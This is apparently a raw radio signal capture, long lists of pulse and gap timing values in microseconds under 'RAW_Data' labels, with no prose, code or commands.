3403 -3002 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -3002 3395 -1396 1797 -3002 3407 -1404 1795 -2992 3401 -3400 1713 -1100 3677 -3172 3377 -2982 3187 -3190 3393 -2996 3401 -2994 3401 -3002 3395 -3002 3399 -3004 3393 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -2998 1801 -1402 1799 -1398 1791 -1398 3401 -3002 3403 -1400 1795 -2992 3401 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 3403 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3401 -3002 3403 -1396 1791 -3000 3401 -1402 1799 -1402 1795 -3000 3801 -1120 181 -920 553 -1654 1653 -3052 3481 -2942 3489 -2908 3299 -3120 3335 -3164 3175 -3182 3389 -2996 3393 -3002 3401 -2996 3393 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 3403 -3006 1599 -1592 1789 -1398 3401 -3004 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 -RAW_Data: 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1398 1797 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -3402 1057 -3748 1469 -3298 3149 -3174 3175 -3190 3393 -2994 3395 -3002 3393 -3002 3403 -3002 3393 -3002 3399 -3004 3395 -2994 3401 -2994 3403 -2994 3401 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3395 -1400 1801 -3002 3401 -2994 3403 -2994 1799 -1402 1801 -1400 3393 -3004 3393 -3002 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3601 -3262 435 -874 1833 -3302 3235 -3018 3405 -3002 3407 -2998 3393 -3002 3393 -3002 3399 -3006 3393 -2994 3403 -3002 3393 -3002 3393 -3008 3397 -3002 3393 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -3002 1801 -1402 1799 -1402 1801 -1396 3403 -3004 3395 -1396 1793 -2998 3401 -3004 3401 -2994 1801 -1400 1795 -1394 3399 -1400 1801 -3002 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1398 1795 -1402 1801 -1400 3401 -2994 3403 -1396 1797 -1400 1801 -3002 1795 -1396 1795 -1402 3401 -7588 1923 -3068 3393 -2994 3403 -2994 3407 -3004 3399 -2998 3393 -2994 3393 -3004 3401 -2994 3401 -3002 3403 -2994 3393 -3002 3403 -2998 3409 -1400 1789 -1394 1795 -1402 1801 -1400 -RAW_Data: 1801 -1400 1797 -2998 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3403 -1400 1801 -2994 3407 -2996 3395 -3002 1795 -1394 1797 -1400 3401 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -3002 3401 -1398 1791 -1398 1801 -3002 1801 -1400 3401 -2996 3607 -1728 833 -1396 2303 -2880 3581 -2986 3391 -2994 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3393 -2994 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3393 -1398 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3407 -1400 1791 -2992 3401 -3002 3407 -2998 1795 -1394 3389 -3002 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 3407 -2996 3395 -1400 1795 -1398 1801 -3002 1801 -1400 3395 -1400 1801 -7606 1737 -3220 3235 -3022 3417 -3002 3407 -3004 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3393 -3004 3401 -2994 3393 -3002 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3407 -1400 1789 -2990 3401 -3002 3403 -3002 1799 -1398 3389 -3002 1801 -1402 3401 -3002 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 -RAW_Data: 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 3401 -3002 3401 -1402 1795 -1394 1797 -3002 3401 -3002 1801 -1398 4195 -1886 1105 -442 1765 -3046 3269 -3160 3341 -3122 3291 -3112 3319 -3140 3163 -3176 3185 -3190 3391 -2994 3393 -2998 3411 -2998 3393 -3002 3393 -3004 3393 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3401 -1402 1795 -2992 3401 -3002 3401 -3004 1795 -1394 3397 -3002 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 3401 -3002 3407 -1400 1791 -1394 1797 -3002 3401 -3002 3395 -5516 1583 -3012 3489 -2910 3305 -3120 3337 -3164 3173 -3186 3191 -3190 3399 -3004 3395 -2994 3401 -2994 3403 -2994 3401 -2994 3401 -3004 3393 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -3002 1801 -1400 1795 -1394 1797 -1402 3405 -3006 3393 -1402 1795 -2992 3401 -3002 3401 -3002 1797 -1394 3397 -3002 3407 -1404 1795 -2992 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 3401 -3002 3401 -1398 1791 -1398 1801 -3002 3401 -1398 1795 -3002 3595 -3624 415 -206 2483 -2414 3585 -3002 3401 -2994 3401 -3004 3393 -2994 3401 -3002 3403 -2998 3411 -2996 3395 -2994 3393 -3002 3393 -3004 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 3407 -3004 3399 -1400 1789 -2990 3403 -3002 3401 -3002 1795 -1394 3403 -1404 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1795 -1394 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 3389 -3004 3401 -1400 1801 -1402 1799 -2994 3403 -1400 1795 -1398 1801 -8014 1843 -2840 3389 -2994 3403 -2994 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -2994 3401 -2994 3407 -3006 3393 -2994 3401 -2998 3399 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1795 -1394 1797 -1400 1801 -1402 3405 -3006 3393 -1398 1791 -3000 3405 -3006 3393 -2994 1801 -1398 3389 -1402 1799 -3002 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -2994 1801 -1400 1801 -1400 3395 -4724 1853 -2864 3547 -2976 3181 -3186 3391 -2994 3393 -2994 3407 -3006 3399 -2996 3399 -2998 3393 -3002 3399 -3006 3393 -2994 3401 -2994 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3004 3393 -3002 3401 -2994 1801 -1402 3393 -1400 1797 -1398 1799 -3002 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1795 -1398 1801 -1400 1801 -3002 1795 -1394 3397 -5708 365 -1470 9113 -1824 3823 -2614 3609 -3002 3403 -3002 3401 -3002 3401 -2994 3403 -3002 3393 -3002 3399 -3006 3393 -2994 3401 -3004 3393 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -3006 3397 -2996 1799 -1398 3397 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1795 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 3397 -3002 3407 -1404 1795 -1394 1791 -1398 1801 -3002 3401 -2996 3601 -1690 629 -2154 1905 -2832 3651 -2830 3423 -3006 3401 -3002 3401 -3002 3395 -3002 3401 -3002 3395 -3002 3405 -2998 3393 -2996 3401 -3002 3407 -2996 3395 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -3002 1801 -1400 1795 -1394 1797 -1402 3401 -3002 3401 -1402 1795 -2996 3409 -2998 3393 -2994 3403 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 3401 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -3002 3401 -1402 1795 -3600 639 -3748 1839 -2644 3729 -2756 3567 -2982 3391 -2990 3393 -2994 3403 -3002 3401 -2994 3401 -2994 3403 -3002 3393 -3002 3403 -2994 3393 -3002 3401 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -3004 1795 -1394 1797 -1400 1801 -1400 3401 -3004 3397 -1404 1797 -2990 3403 -3002 3405 -2998 3393 -2996 1799 -1398 1795 -1402 3401 -3002 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 -RAW_Data: 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -3000 1801 -1400 3801 -4494 1987 -2568 3839 -2822 3413 -3002 3403 -3002 3401 -3002 3401 -3002 3407 -3010 3393 -2994 3395 -3002 3393 -3002 3401 -2996 3401 -2994 3401 -1398 1797 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -3002 1797 -1394 1795 -1402 1801 -1400 3401 -3002 3403 -1396 1793 -2998 3401 -3004 3393 -3002 3401 -3002 1797 -1394 3389 -3002 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 3401 -3002 3395 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -3002 3405 -8042 1841 -2856 3557 -2932 3531 -2910 3509 -2922 3345 -3160 3173 -3188 3395 -2996 3391 -2994 3401 -3002 3399 -2998 3393 -3002 3401 -2994 3395 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -3002 3403 -2994 1795 -1398 3407 -1404 1795 -2992 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 3395 -3002 3393 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -2994 3603 -4452 -RAW_Data: 1771 -2854 3567 -2986 3389 -2992 3393 -3002 3393 -3004 3393 -3002 3401 -2994 3395 -3002 3401 -3002 3393 -3004 3393 -3002 3401 -2994 3403 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1795 -1400 3401 -3002 3393 -1402 1799 -3004 3393 -3002 3401 -2994 3403 -2994 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3407 -1404 1795 -1394 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -7856 8207 -2522 3741 -2764 3573 -2988 3393 -2994 3393 -3004 3393 -3002 3393 -3002 3403 -2994 3401 -3006 3399 -2994 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -3002 3401 -2994 3395 -3002 3401 -2998 1805 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 3401 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1795 -1402 3601 -4768 1587 -3096 3397 -2990 3395 -2994 3401 -3002 3395 -3006 3397 -2994 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2994 3403 -3002 3393 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3401 -2998 3399 -2994 3401 -2994 3401 -1402 1795 -3000 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 -RAW_Data: 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 3401 -1402 1799 -2994 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 3403 -5196 383 -1652 1837 -3050 3375 -2986 3393 -2996 3393 -3002 3401 -2994 3403 -2998 3405 -2994 3395 -3002 3405 -2998 3393 -2996 3401 -3002 3393 -3006 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1400 3395 -3002 3407 -1400 1791 -2992 3401 -3002 3401 -3002 3395 -3002 3393 -1402 1799 -1398 1795 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 